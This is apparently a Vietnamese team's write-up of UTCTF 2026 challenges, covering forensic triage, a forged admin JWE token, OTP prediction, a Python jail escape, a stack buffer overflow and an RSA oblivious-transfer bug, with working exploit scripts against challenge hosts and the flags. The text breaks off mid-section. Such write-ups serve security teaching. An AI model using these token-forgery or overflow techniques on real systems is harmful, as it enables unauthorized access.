# UTCTF 2026
## Sherlockk(R4f3lowww)
**Category:** Forensics
**Points:** 943
**Flag:** `utflag{b45k3rv1ll3-3l3m3n74ry-4r7hur_c0n4n_d0yl3}`
### Đề bài
Phân tích KAPE triage files để tìm các Indicators of Compromise (IOCs) do threat actor để lại. Có 3 checkpoint cần giải:
- **Checkpoint A:** URL đầy đủ mà threat actor download từ online text storage site
- **Checkpoint B:** Nội dung của note đã bị xóa
- **Checkpoint C:** MD5 hash của file enumeration script đã được download
Mỗi checkpoint là một file ZIP có password. Các flag con nối lại thành flag cuối.
**Triage:** Modified_KAPE_Triage_Files.zip
---
### Checkpoint A — Download URL
**Password ZIP:** URL tìm được
**Answer:** `b45k3rv1ll3`
#### Phân tích
Tìm URL trong Chrome browser history. Chrome lưu lịch sử trong SQLite database:
```
C/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/History
```
Query bảng `downloads_url_chains`:
```python
import sqlite3
conn = sqlite3.connect('History')
c = conn.cursor()
c.execute('SELECT * FROM downloads_url_chains')
# → (16, 0, 'http://pastes.io/download/nhy8LSzI')
# → (16, 1, 'https://pastes.io/download/nhy8LSzI')
```
URL cuối là redirect, URL gốc (dùng làm password): **`http://pastes.io/download/nhy8LSzI`**
File download: `C:\Users\Administrator\Downloads\nhy8LSzI.txt`
```
utflag{b45k3rv1ll3}
```
---
### Checkpoint B — Deleted Note
**Password ZIP:** Items trong note cách nhau bằng `-`
**Answer:** `3l3m3n74ry`
#### Phân tích
##### Bước 1: Xác định file note
Kiểm tra Windows Timeline database (ActivitiesCache.db):
```
C/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/ActivitiesCache.db
```
```python
conn = sqlite3.connect('ActivitiesCache.db')
c.execute("SELECT Payload FROM Activity WHERE Payload LIKE '%note%'")
# → {"displayText":"Notes.txt","description":"C:\\Users\\Administrator\\Documents\\Notes.txt"}
```
File cần tìm: `C:\Users\Administrator\Documents\Notes.txt` — đã bị xóa.
Trong Recycle Bin có:
- `$I9W158M.txt` → metadata của `Note To Self.txt` (0 bytes khi xóa)
- `$R9W158M.txt` → content của `Note To Self.txt` (trống)
- `$IR5UOFV.txt` → metadata của `Note.txt`
- `$RR5UOFV.txt` → content của `Note.txt`: `"Password is longhornHACK123*"`
Nhưng `Notes.txt` không có trong Recycle Bin → cần recover từ **MFT**.
##### Bước 2: Tìm entry trong $MFT
Tìm string `Notes.txt` (UTF-16LE) trong file `$MFT`:
```python
mft_data = open('$MFT', 'rb').read()
search = 'Notes.txt'.encode('utf-16le')
# Tìm ở offset 164847616 (record #160984)
```
MFT record tại offset `164847616` chứa `$DATA` attribute **resident** 46 bytes.
##### Bước 3: Apply NTFS Fixup
NTFS dùng Update Sequence Array (USA) để bảo vệ MFT records. Bytes tại vị trí 510-511 và 1022-1023 của mỗi record bị thay bằng fixup value. Cần restore lại giá trị gốc:
```python
record = bytearray(mft_data[164847616:164847616+1024])
usa_offset = struct.unpack_from('<H', record, 4)[0] # = 48
usa_count = struct.unpack_from('<H', record, 6)[0] # = 3
usa_value = struct.unpack_from('<H', record, usa_offset)[0] # = 0x0011
# USA array: [check=0x0011, actual_510-511=0x2043, actual_1022-1023=0x0000]
actual_510_511 = record[usa_offset+2:usa_offset+4] # b'\x20\x43'
actual_1022_1023 = record[usa_offset+4:usa_offset+6] # b'\x00\x00'
# Restore
record[510:512] = actual_510_511 # " C" → repair "- Carrots"
record[1022:1024] = actual_1022_1023
```
Không apply fixup → đọc được `b'...Cabbage\r\n-\x11\x00arrots'` (byte `C` bị thay bằng `\x11`).
Sau khi apply fixup → đọc đúng:
```
Grocery List:
- Lettuce
- Cabbage
- Carrots
```
**Password:** `Lettuce-Cabbage-Carrots`
```
utflag{3l3m3n74ry}
```
---
### Checkpoint C — File Enumeration Script MD5
**Password ZIP:** MD5 hash của file
**Answer:** `4r7hur_c0n4n_d0yl3`
#### Phân tích
File enumeration script nằm trong thư mục Downloads của Administrator:
```
C/Users/Administrator/Downloads/script.sh.sh
```
Tính MD5:
```python
import hashlib, zipfile
z = zipfile.ZipFile('Modified_KAPE_Triage_Files.zip')
data = z.read('Modified_KAPE_Triage_Files/C/Users/Administrator/Downloads/script.sh.sh')
print(hashlib.md5(data).hexdigest())
# → e86475121f231c02c4a63bd0915b9dff
```
**Password:** `e86475121f231c02c4a63bd0915b9dff`
```
utflag{4r7hur_c0n4n_d0yl3}
```
---
### Flag
```
utflag{b45k3rv1ll3-3l3m3n74ry-4r7hur_c0n4n_d0yl3}
```
Các phần của flag đều là references đến Sherlock Holmes:
- **b45k3rv1ll3** = Baskerville (The Hound of the Baskervilles)
- **3l3m3n74ry** = "Elementary, my dear Watson"
- **4r7hur_c0n4n_d0yl3** = Arthur Conan Doyle (tác giả)
## Break the bank [P1c0L0]

- khi mới truy cập vào trang chủ ta thấy giao diện khá nhiều chức năng, nhưng đều chỉ là dummy (`#`)
- Ta view-source thì phát hiện ra một endpoint trích xuất ra tài liệu hướng dẫn là `/resources/FNSB_InternetBanking_Guide.pdf`

- Tải file pdf về đọc thì thấy được thông tin `username&password` mà file cung cấp là `testuser&testpass123`
- Ta sẽ login với username&password ở trên để vào được hệ thống
- Sau khi login xong thì chuyển ta tới endpoint `/profile`

- Xem qua một lượt thì thấy không có gì khả nghi, ta sẽ thử view-source để tìm thông tin hữu ích
- Và ta thấy được một đoạn CSS có chứa thông tin về `admin`

- Từ đây ta thấy rằng có tồn tại giao diện admin nhưng button `.btn-admin` đã bị ẩn đi do không đủ quyền
- Nếu ta truy cập tới `http://challenge.utctf.live:5926/admin` thì sẽ trả về `{"error":"Forbidden: admin subject required"}`
- Tức là hệ thống biết ta đang truy cập nhưng chặn lại vì token hiện tại không chứa `subject` là `admin`
- Kiểm tra cookie `fnsb_token` ta thấy đó không phải là JWT thông thường
`eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAtMjU2In0.SMmDjOHeAC2vLzdkvFVxX5N9Z3jUXbKZcc5HI7lvfU5XOM7dQ7tHyhd0DmgnJVN65fvdA3krF8O5g2Td8b3F7jsNMW8DTYzywkl2sb0W0kfRzyiLbEJSzz1CyyFWljWhUjIno3Dlr095HFtzRHjrp9Xq3LKTJzsNYmXU3rPLZMeINlybePKBJNhaaWAYd2lFDdkFKTqOeX-L5X8xj8Gmg53v5ig7NjTtZi1FzIvdRbuPc6Q29TFBFlQJjbllNgFiyv0oRAENE7caERhLQa7brGbSmMybstGhQz0Z16-NBrdAxW9W74dd6PEt7VIGFw44zGsX2g_Oh46t6v0ftQDHJA.lyHyxvpNY9Jiy9RW.dBoJ1nA7IPVKxxk6X8mznCnIpKTJyJ4tLWOwXeDIGYolLk_2zKY7FEZKgsxu7PsVCcAMk4-9zlXQH2X-B2CwBfD90V18weK3OwLeDWisE2mf0HRHZI5QDz2r7q1VQyCyHXpHYz0KIt27rR2DQrJ2k-fwuXeI9W7UubvEYACYQs6HzIKEfm0lusI0VNMtBnLEmKwhdld25aEqk43FglPYU2QwFSTl_pIMY4TGLaa8wVI1Xh6HSAgVEan8_DSMrRJ1Wxp3Dymzl9iVNCyFU7EmXaeLL8ywAo_orllA_tOSnZ0xpuPLIYc63I2oTTcbmkzjfAw9P8Rzj6GM6HXo0qNrSpt8bv31wV41ec_LMQTu-wswbJA4p_CYxclbOHumJnztopI8-0knFIDo2lGgeKzoctoCA4HW1ZsblMT9lNRMEZrZnuEMkOCq-wQcY6VnE0f6bibvKZUw7AgbjmcWcmEO_Mo9FHn_JpOsRnzDzp8rt-W8SO_2qgg_YEYERbzQBXo4xzBWObtGOoLSTNUw2pR6gQkBLD6ov3rgxt-IJ7NBPc1KjvHwU3v1-asW9OAlWKyp1zLCn6nBHiWn4P7njBLGPcjy5VkGfQ0Anj2k_nzgZJEU6v70-7v-Geoi4Y_JrLHlxsr9-pA2HbOlJhbAV5-X61BhMBos8lPYklJ0lUxZcg.StTK1UT7v-92a21NG7R4sw`
- Nó là một chuỗi có 5 phần => JWE
- Header dùng thuật toán mã hoá bất đối xứng, nên ta cần phải tìm được public key
- Như đã nói ở trên thì khi login vào `username:testuser` thì tôi đã tìm ra được một endpoint công khai là `/resources/` tôi đã thử truy cập tới `http://challenge.utctf.live:5926/resources/` để xem có list ra thêm được file nào không
- thật bất ngờ là tồn tại hai file txt khác và một trong các file đó chứa public key

- `memo.txt`

- `key.pem`

- Từ đây ta đã có được public key nên sẽ bắt đầu exploit để vào được `admin`
- Decode header của JWT trên thì sẽ ra là `{"cty":"JWT","enc":"A256GCM","alg":"RSA-OAEP-256"}`
- Ban đầu trường `"cty": "JWT"` làm tôi nghĩ là bên trong JWE chứa một JWT khác
- Tôi đã thử bypass signature như `alg:none` hoặc `RS256->HS256` nhưng đều bị server redirect về `/login.html`
- Nhìn lại lỗi `{"error":"Forbidden: admin subject required"}` thì tôi nghĩ thằng dev đã nhầm giữa bảo mật dữ liệu và xác thức user
- Không thể nhét JWT vào trong JWE, chỉ lấy một chuỗi JSON thuần `{"sub": "testuser"}` và dùng public key mã hoá nó thành JWE
- Vì không có JWS bên trong, server giải mã bất cứ thứ gì nhận được. Nên nếu mã ra JSON hợp lệ thì server sẽ cho qua
=> Vì public key là công khai nên ta có thẻ tự mã hoá một chuỗi JSON có quyền admin và gửi tới server
### Exploit
```python!
import time
import json
from jwcrypto import jwt, jwk
pem_data = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsio2dcXheqKLrteRx4V1
7FchW6AE2zszlMyiN8S7D16ww1a9AFC8EQhEHNW1PLXncXiimNeb6/oZP2+V18gE
ZoyKIET2oHC4MmthSOFrW0nFgfgRJdH7VyEVHupFL6tFAJvHFWVplTgCdqtegihG
cG7XKUGah4Q8FytlIhk/A983LtbblhAnfKTeBwxT2wVZE9+5pWhPmdGLoX3Hf0Uy
pHJTkL6D7C4X4KGJiNrSJ6mJw4sDpXlZEvagB0uFaO4b22WX6HSf2ZOBW5VHEWS5
TiKvliyTQL3FJWXefqxHgQL8diDWhWwYXI7Q0b+otJ5/G/jMGL2S+N10oJTitTuK
OQIDAQAB
-----END PUBLIC KEY-----"""
public_key = jwk.JWK.from_pem(pem_data)
now = int(time.time())
claims = json.dumps({
"sub": "admin",
"username": "admin",
"role": "admin",
"iat": now,
"exp": now + 3600
})
jwe_header = {
"alg": "RSA-OAEP-256",
"enc": "A256GCM",
"cty": "JWT"
}
jwe_token = jwt.JWT(header=jwe_header, claims=claims)
jwe_token.make_encrypted_token(public_key)
print("[+] JWE Token for Admin:\n" + jwe_token.serialize())
```
- Chạy script trên và ta có được một token JWE mới
- Sau đó ta sẽ `curl` tới endpoint `/admin` với cookie chứa token vừa gen được
``` java
curl -i -s -L http://challenge.utctf.live:5926/admin \
-H "Cookie: fnsb_token=<JWE_TOKEN>"
```
- Server trả về `HTTP 200 OK` và giao diện của FNSB SysAdmin Console
**FLAG: utflag{s0m3_c00k1es_@re_t@st13r_th@n_0th3rs}**
## Time to Pretend [P1c0L0]

- Ta thấy các chức năng ở trên header cũng chỉ toàn là dummy, nên ta vẫn sẽ view-source để tìm thông tin ẩn
### HTML
- Ta phát hiện ra một comment khả nghi là


- Từ đây ta có thể biết là tồn tại một file là `urgent.txt` có thể truy cập được và tồn tại một debug endpoint để lấy OTP
- Truy cập tới `/urgent.txt` ta thu được tâm thư của người tên `timothy`. Đọc qua ta nhận ra thuật toán gen OTP có lỗ hổng nên đã khóa toàn bộ tài khoản trên hệ thống, ngoại trừ tài khoản của người đó để tiện theo dõi
=> Chỉ `username=timothy` mở để có thể login vào, nên ta sẽ tìm cách để login với `username=timothy`

- Loginc handler
```javascript!
async function doLogin() {
const response = await fetch('/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, otp })
});
// On success → redirect to /portal
}
```
### PCAP
- File PCAP chứa 686 packet, tất cả là TCP traffic đến port 8000. Lọc ra các HTTP payload có nội dung quan trọng thì phát hiện hàng loạt gọi đến endpoint `/debug/getOTP`
```javascript!
POST /debug/getOTP HTTP/1.1
Host: 172.21.0.2:8000
Content-Type: application/json
{"username": "carrasco", "epoch": 1773290571}
─────────────────── Response ───────────────────
HTTP/1.1 200 OK
Content-Type: application/json
{"add": 13, "mult": 7, "otp": "bnccnjbh"}
```
- Tổng cộng 49 cặp request/response được trích xuất. Mỗi entry gồm:
- `username` + `epoch` (Unix timestamp) trong request
- `add`, `mult`, `otp` trong response
- Nhìn vào dữ liệu có những điểm dễ thấy:
- Hai user khác nhau (`fan`, `maiden`) cùng `epoch 1773290594` → cùng `add=10`, `mult=5` → nhưng OTP khác nhau (jkx vs skyzex)
- Độ dài OTP = độ dài username (`fan`→3 ký tự, `maiden`→6 ký tự, `delatorre`→9 ký tự)
- Tất cả ký tự OTP đều là chữ thường `a-z`
- `add` và `mult` không phụ thuộc username, chỉ phụ thuộc epoch
- OTP là một phép biến đổi từng ký tự của username → dấu hiệu của một substitution cipher
- OTP chỉ chứa chữ thường `a-z` và có cùng độ dài username → alphabet size = 26
#### Giải mã add và mult
- Tìm quan hệ giữa epoch và add/mult
**add = epoch % 26**
```css!
epoch=1773290571, add=13 → 1773290571 % 26 = 13 ✓
epoch=1773290574, add=16 → 1773290574 % 26 = 16 ✓
epoch=1773290576, add=18 → 1773290576 % 26 = 18 ✓
epoch=1773290584, add=0 → 1773290584 % 26 = 0 ✓
```
- Xác định mult. Các giá trị mult quan sát được (7, 15, 17, 19, 21, 25, 3, 9, 11...) đều là số lẻ nguyên tố cùng nhau với 26. Tập hợp các giá trị coprime với 26:
**mult = [1,3,5,7,9,11,15,17,19,21,23,25][epoch % 12]**
```css!
valid_mults = [1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25]
# 12 phần tử
epoch=1773290571, epoch%12=3 → valid_mults[3]=7 mult=7 ✓
epoch=1773290574, epoch%12=6 → valid_mults[6]=15 mult=15 ✓
epoch=1773290581, epoch%12=1 → valid_mults[1]=3 mult=3 ✓
epoch=1773290592, epoch%12=0 → valid_mults[0]=1 mult=1 ✓
```
#### Affince Cipher
- Với add và mult đã biết thử áp dụng công thức Affine Cipher lên username:
```css!
E(x) = (mult × x + add) mod 26
với x = vị trí ký tự trong bảng chữ cái (a=0, b=1, ..., z=25)
```
- Kiểm chứng với user fan (epoch=1773290594, add=10, mult=5, otp="jkx"):
**Xác minh: 'fan' → 'jkx'**
```css!
f = 5 → E(5) = (5×5 + 10) mod 26 = 35 mod 26 = 9 = 'j' ✓
a = 0 → E(0) = (5×0 + 10) mod 26 = 10 mod 26 = 10 = 'k' ✓
n = 13 → E(13) = (5×13 + 10) mod 26 = 75 mod 26 = 23 = 'x' ✓
```
- Vuln detect: `OTP = Affine_Cipher(username, mult, add)`
- với add = epoch % 26
- mult =[1,3,5,7,9,11,15,17,19,21,23,25][epoch % 12]
- Toàn bộ OTP có thể được tính toán trước chỉ cần biết username và Unix timestamp hiện tại
- OTP hoàn toàn deterministic và không có secret key
### Exploit chain
1. Đọc `/urgent.txt` xác định username là `timothy`
2. Phân tích PCAP: Trích xuất 49 cặp `request/response` của `/debug/getOTP`
3. RE: `add=epoch%26`, `mult=mults[epoch%12]`, `OTP=Affine(username)`
4. Tính OTP: dùng timestamp hiện tại tính OTP cho `timothy`
5. Đăng nhập: `POST /auth` với username+otp, lấy session cookie
6. Lấy flag: `GET /portal` với session cookie → flag trong HTML
### Script
```javascript!
EPOCH=$(date +%s); \
OTP=$(python3 -c "
mults=[1,3,5,7,9,11,15,17,19,21,23,25]
e=$EPOCH; add=e%26; mult=mults[e%12]
print(''.join(chr(((mult*(ord(c)-97)+add)%26)+97) for c in 'timothy'))
"); \
curl -s -c /tmp/cookies.txt -X POST http://challenge.utctf.live:9382/auth \
-H "Content-Type: application/json" \
-d "{\"username\":\"timothy\",\"otp\":\"$OTP\"}" && \
curl -s -b /tmp/cookies.txt http://challenge.utctf.live:9382/portal
```
**FLAG: utflag{t1m3_1s_n0t_r3l1@bl3_n0w_1s_1t}**
## Jail break [Dr@90n_8@ll]

### 1. Analysis
Thử thách cung cấp một script Python jail.py đóng vai trò là một sandbox. Mục tiêu là gọi `hàm _secret()` để lấy flag, nhưng chúng ta đối mặt với các rào cản sau:
**Blacklist:** Chặn các từ khóa như `import`, `os`, `sys`, `open`, và đặc biệt là `secret`.
**Whitelist Built-ins:** Chỉ cho phép một số hàm như `print`, `vars`, `list`, `chr`.
**Cơ chế mã hóa:** Flag nằm trong mảng `_ENC` và được giải mã bằng phép toán XOR với `_KEY = 0x42`.
### 2. Solution
#### Cách 1: Static Analysis
Vì mã nguồn đã cung cấp mảng `_ENC` và `_KEY`, ta có thể chạy script local để lấy flag ngay lập tức:
```p
_ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d, 0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32, 0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f]
print(''.join(chr(b ^ 0x42) for b in _ENC))
```
#### Cách 2: Jailbreak Bypass
Để gọi hàm `_secret()` mà không vi phạm blacklist, ta sử dụng Introspection để truy cập namespace thông qua `vars()` và kỹ thuật cộng chuỗi:
- **Payload 1 (Cộng chuỗi):** Truy cập dictionary `vars()` bằng key được ghép từ các chuỗi nhỏ nhằm né bộ lọc.
```python
print(vars()["_sec" + "ret"]())
```
- **Payload 2 (Indexing):** Chuyển các giá trị trong dictionary thành list và truy cập theo chỉ số (index).
```python
f = list(vars().values())[1]
print(f())
```
### 3. Final Flag
**Flag:** `utflag{py_ja1l_3sc4p3_m4st3r}`
## Hour of Joy [Dr@90n_8@ll]
### 1. Analysis
Thử thách cung cấp một file binary `vuln` đóng vai trò là một chương trình kiểm tra mã bí mật. Qua việc phân tích luồng thực thi, chúng ta đối mặt với các đặc điểm sau
- **Luồng hoạt động:** Chương trình hỏi tên người dùng qua `fgets` (giới hạn 64 bytes - an toàn) , sau đó yêu cầu nhập một "secret code" thông qua `scanf("%d", ...)`.
- **Cơ chế kiểm tra:** Một biến cục bộ tại vị trí `rbp-0x4` được khởi tạo với giá trị `0xDEADBEEF`. Chương trình sẽ so sánh giá trị bạn nhập vào với hằng số này.
- **Hàm mục tiêu:** Nếu phép so sánh trùng khớp, chương trình gọi hàm `print_flag()`. Hàm này thực hiện XOR 28 bytes dữ liệu đã mã hóa với `_KEY = 0x42` để in ra flag.
- **Rào cản:** `scanf` với định dạng `%d` sẽ đọc vào một số nguyên 32-bit có dấu (signed int). Trong khi đó, `0xDEADBEEF` nếu hiểu theo kiểu số nguyên có dấu sẽ có giá trị âm.
### 2. Solution
#### Cách 1: Static Analysis (XOR Decoding)
Vì thuật toán giải mã nằm ngay trong hàm `print_flag` và chuỗi đã mã hóa có sẵn trong phân đoạn dữ liệu của binary, ta có thể trích xuất và giải mã offline:
```python
_ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x3b, 0x24, 0x30, 0x3d, 0x31, 0x34, 0x1f, 0x33, 0x34, 0x32, 0x31, 0x2e, 0x37, 0x1f, 0x2c, 0x33, 0x74, 0x33, 0x33, 0x24, 0x76, 0x3d]
print(''.join(chr(b ^ 0x42) for b in _ENC))
```
#### Cách 2: Logic Bypass (Signed Integer Conversion)
Để vượt qua câu lệnh kiểm tra và kích hoạt hàm `print_flag()`, chúng ta cần nhập giá trị thập phân tương ứng của `0xDEADBEEF` dưới dạng số nguyên có dấu 32-bit.
- Key Insight: `0xDEADBEEF` trong hệ nhị phân 32-bit có bit cao nhất là 1, nên khi dùng %d, nó được hiểu là một số âm.
- Giá trị cần nhập: `-559038737`.
Thực hiện:
Chạy binary.
Nhập tên bất kỳ.
Tại phần "Enter the secret code", nhập: `-559038737`
### 3. Final Flag
Flag: `utflag{f0rm4t_str1ng_l34k3d}`
## Rude guard [Dr@90n_8@ll]

### 🔍 Reconnaissance
#### Kiểm tra binary
```bash
$ file pwnable
pwnable: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
```
```bash
$ strings pwnable | grep -E "flag|hello|rude|give"
Are you not going to say hello?
Hi. Go away.
Hi. What do you want.
givemeflag
How rude! utflag{you're going to need a sneakier way in...}
I won't let you pass. No matter what.
```
Ngay từ `strings` ta thấy một flag nhưng nó có vẻ như là **decoy** (thông điệp "you're going to need a sneakier way in..." đã gợi ý điều đó). Ngoài ra ta còn thấy có một hàm `secret_function` trong symbol table.
### 🧠 Phân tích binary
#### Hàm `main()`
```c
int main(int argc, char *argv[]) {
if (argc == 1) {
puts("Are you not going to say hello?");
return 0;
}
int val = atoi(argv[1]) - 0x656c6c6f; // = atoi(argv[1]) - 1701604463
if (val != 0) {
puts("Hi. Go away.");
return 0;
}
puts("Hi. What do you want.");
read_input(val); // val = 0 → fd = 0 (stdin)
return 0;
}
```
**Điều kiện để vào được `read_input`:**
`argv[1]` phải bằng `0x656c6c6f` = **1701604463** (decimal)
```bash
$ python3 -c "print(0x656c6c6f)"
1701604463
```
---
#### Hàm `read_input()`
```c
void read_input(int fd) {
char buf[32];
read(fd, buf, 100); // ⚠️ Đọc 100 bytes vào buffer 32 bytes → Buffer Overflow!
if (strcmp(buf, "givemeflag") == 0) {
puts("How rude! utflag{you're going to need a sneakier way in...}"); // ← Decoy flag
} else {
puts("I won't let you pass. No matter what.");
}
}
```
**Lỗ hổng:** `read()` đọc **100 bytes** vào buffer chỉ có **32 bytes** → **Stack Buffer Overflow**.
---
#### Hàm `secret_function()` — Không bao giờ được gọi!
Hàm này tồn tại trong binary nhưng không có đường nào gọi đến từ luồng bình thường.
```c
void secret_function() {
char key = 0x32;
// Encrypted flag bytes hardcoded trong binary
char encrypted[] = { 0x47, 0x46, 0x54, 0x5e, 0x53, 0x55, 0x49, 0x55, ... };
int len = 0x27; // 39 bytes
for (int i = 0; i < len; i++) {
putchar(encrypted[i] ^ key); // XOR decrypt từng byte với 0x32
}
}
```
Flag thật được mã hóa XOR với key `0x32`, và chỉ được giải mã khi `secret_function` được thực thi.
### 💥 Exploit
#### Tính offset
```
Stack layout của read_input:
┌──────────────┐ ← rbp - 0x20 (buf, 32 bytes)
│ buf[0..31] │
├──────────────┤ ← rbp
│ saved rbp │ (8 bytes)
├──────────────┤ ← rbp + 0x8
│ return addr │ ← ĐÂY LÀ MỤC TIÊU
└──────────────┘
```
**Offset đến return address = 32 (buffer) + 8 (saved rbp) = 40 bytes**
#### Địa chỉ target
```bash
$ objdump -d pwnable | grep "<secret_function>"
000000000040124f <secret_function>:
```
→ `secret_function` tại **`0x40124f`** (non-PIE, địa chỉ cố định)
#### Payload
```python
import struct, subprocess
padding = b'A' * 40 # Ghi đè buffer + saved rbp
secret_addr = struct.pack('<Q', 0x40124f) # Địa chỉ secret_function (little-endian)
payload = padding + secret_addr
result = subprocess.run(
['/path/to/pwnable', '1701604463'],
input=payload,
capture_output=True
)
print(result.stdout.decode())
```
#### Bonus: Giải mã tĩnh (không cần chạy exploit)
Có thể đọc thẳng bytes trong disassembly và XOR với key `0x32`:
```python
key = 0x32
import struct
# Bytes được hardcode trong secret_function qua movabs instructions
chunks = [
(0, 0x554955535e544647),
(8, 0x4106456d56400647),
(16, 0x6d4057590601456d),
(24, 0x466d5b6d5c065a46),
(31, 0x4f465a5547025a46),
]
buf = [0] * 39
for offset, val in chunks:
for i, b in enumerate(struct.pack('<Q', val)):
if 0 <= offset + i < 39:
buf[offset + i] = b
flag = ''.join(chr(b ^ key) for b in buf)
print(flag)
```
### 🚩 Flag
```
utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}
```
## Oblivious Error [Dr@90n_8@ll]

### Phân tích
#### RSA 1-2 Oblivious Transfer là gì?
RSA-based 1-2 Oblivious Transfer (OT) là một giao thức mật mã cho phép:
- **Sender** có 2 message: `m0`, `m1`
- **Receiver** chọn một trong hai mà **không tiết lộ** đã chọn cái nào
- **Sender** không biết receiver đã chọn cái nào
Giao thức hoạt động như sau:
1. Sender publish `N`, `e` (RSA public key) và 2 giá trị ngẫu nhiên `x0`, `x1`
2. Receiver chọn bit `b` (0 hoặc 1), tạo giá trị `k` ngẫu nhiên rồi gửi lên: `v = (xb + k^e) mod N`
3. Sender tính: `K0 = (v - x0)^d mod N` và `K1 = (v - x1)^d mod N`
4. Sender trả về: `c0 = m0 + K0`, `c1 = m1 + K1`
5. Receiver chỉ giải được `mb = cb - k` vì chỉ `Kb = k` (cái kia là rác)
#### Lỗi trong code
Xem file `my-code.txt`:
```python
while True:
try:
print("Please pick a value k.")
k = int(input())
break
except ValueError:
print("Invalid value. Please pick an integer.")
print("Please pick a value k.")
k = int(input())
v = (x0 + (int(k) ^ e)) % N
```
**Bug:** Dòng cuối dùng `^` thay vì `pow(k, e, N)`!
Trong Python:
- `^` = **XOR bit**
- Lũy thừa RSA phải là: `pow(k, e, N)`
Vì vậy server tính `v = (x0 + (k XOR e)) % N` thay vì `v = (x0 + pow(k, e, N)) % N`.
### Khai thác
#### Bước 1: Lấy Message 0 (Red Herring)
Do bug trên, nếu ta chọn `k = e = 65537`:
```
k XOR e = 65537 XOR 65537 = 0
v = (x0 + 0) % N = x0
K0 = (v - x0)^d = 0^d = 0
c0 = m0 + 0 = m0 ← plaintext luôn!
```
Kết nối server, nhập `k = 65537`, nhận được Message 2 = flag... nhưng thực ra là **red herring**:
```
hgsynt{Pbatengf! Lbh pnhtug n erq ureevat!}
```
Decode ROT13 ra: `utflag{Congrats! You caught a red herring!}` — đây là bẫy!
#### Bước 2: Lấy Message 1 (Flag thật)
Muốn lấy `m1`, cần `K1 = 0`, tức là `v = x1`. Ta cần:
```
x1 = (x0 + (k XOR e)) % N
k XOR e = (x1 - x0) % N
k = ((x1 - x0) % N) XOR e
```
Script tính `k`:
```python
N = 7974169953398686387828190298818133524185649327100796359826780801595667024930318685789753137421610743512201897309368433105508039453885101529354797381798479
e = 65537
x0 = 6509528987576443891201220262256645055029730535168475510288717772061079427551573022375566053870329378362007869280097682955985214591746261242462307784381316
x1 = 2285975414952340881655571719814965273400880921330537958848959716216907393433088626350986713089773719958734468487481291043220200332986535742524669629053375
k_new = ((x1 - x0) % N) ^ e
print(k_new)
# Output: 3750616380774583378282541756376453742556799713262858808387022745751494990811834289765173796641055085108928496516752041192743025195125376029417159226536075
```
#### Bước 3: Decode flag
Kết nối lại server, nhập `k_new`, server trả về:
```
Message 1: 1301401965347282649026524555252858340419514483137194136205900125393970870193423221261106401230439027632991601914277655088079270829692969749854125251219326
Message 2: 16441782473165749985269251414928450202051900518929647105868978172963309169080628914206924705003483790602
```
Convert số nguyên → bytes:
```python
def to_str(n):
h = hex(n)[2:]
if len(h) % 2: h = '0' + h
return bytes.fromhex(h)
m2 = 16441782473165749985269251414928450202051900518929647105868978172963309169080628914206924705003483790602
print(to_str(m2).decode())
# utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de}
```
### Flag
```
utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de}
```
## Watson [R4f3low]
**Category:** Digital Forensics
**Points:** 962
**Flag:** `utflag{pr1v473_3y3-m1551n6_l1nk}`
---
### Đề bài
> We need your help again agent. The threat actor was able to escalate privileges. We're in the process of containment and we want you to find a few things on the threat actor. The triage is the same as the one in "Landfall".
**Triage files:** `Modified_KAPE_Triage_Files.zip` (KAPE triage collection)
---
### Briefing
```
Checkpoint A: The threat actor deleted a word document containing secret
project information. Can you retrieve it and submit the name of the project?
Checkpoint B: The threat actor installed a suspicious looking program that
may or may not be benign. Retrieve the SHA1 Hash of the executable.
Hints:
- Checkpoint A's password is strictly uppercase
- Checkpoint B's password is the SHA1 Hash
```
Mỗi checkpoint là một file zip có password. Sau khi giải đúng, sẽ nhận được một phần của flag. Flag cuối là `utflag{A-B}`.
---
### Checkpoint A — Deleted Word Document
#### Phân tích
KAPE triage thu thập `$Recycle.Bin`, nơi lưu các file đã xóa. Trong thư mục Recycle Bin của Administrator (SID `-500`):
```
$I07YGFU.docx ← metadata (original path, size, deletion time)
$R07YGFU.docx ← actual file content
```
File `$I` (metadata) cho biết đường dẫn gốc:
```
C:\Users\Administrator\Documents\SuperSecretFolder\SuperSecretProject.docx
```
#### Đọc nội dung .docx
`.docx` là ZIP chứa `word/document.xml`. Trích xuất text:
```python
import zipfile, io, re
with zipfile.ZipFile('Modified_KAPE_Triage_Files.zip') as z:
docx_data = z.read('.../$R07YGFU.docx')
with zipfile.ZipFile(io.BytesIO(docx_data)) as docx:
xml = docx.read('word/document.xml').decode('utf-8')
texts = re.findall(r'<w:t[^>]*>([^<]+)</w:t>', xml)
print(' '.join(texts))
```
Nội dung tài liệu là một **Strategic Intelligence Memorandum** phân loại `TOP SECRET // OMEGA COMPARTMENT` về:
> **PROJECT HOOKEM** — Restricted Artificial Intelligence Research Program
Tên project: **HOOKEM** (strictly uppercase → đúng format password)
#### Mở Checkpoint A
```python
with zipfile.ZipFile('checkpointA.zip') as z:
data = z.read('Checkpoint A/A.txt', pwd=b'HOOKEM')
# → pr1v473_3y3
```
**Flag part A:** `pr1v473_3y3`
---
### Checkpoint B — Suspicious Executable
#### Tìm chương trình đáng ngờ
Trong Recycle Bin có 2 file `.exe` đã xóa:
| File | Tên gốc | SHA1 (tính từ zip) |
|------|---------|---------------------|
| `$RNJXINC.exe` | `VSCodeUserSetup-x64-1.111.0.exe` | `5f07b4cc...` |
| `$RZ7G627.exe` | `velociraptor-v0.75.2-windows-amd64.exe` | `85f85356...` |
Thử cả hai SHA1 → **không thành công**.
#### Phân tích PowerShell History
File `ConsoleHost_history.txt` của Administrator chứa các lệnh base64:
```
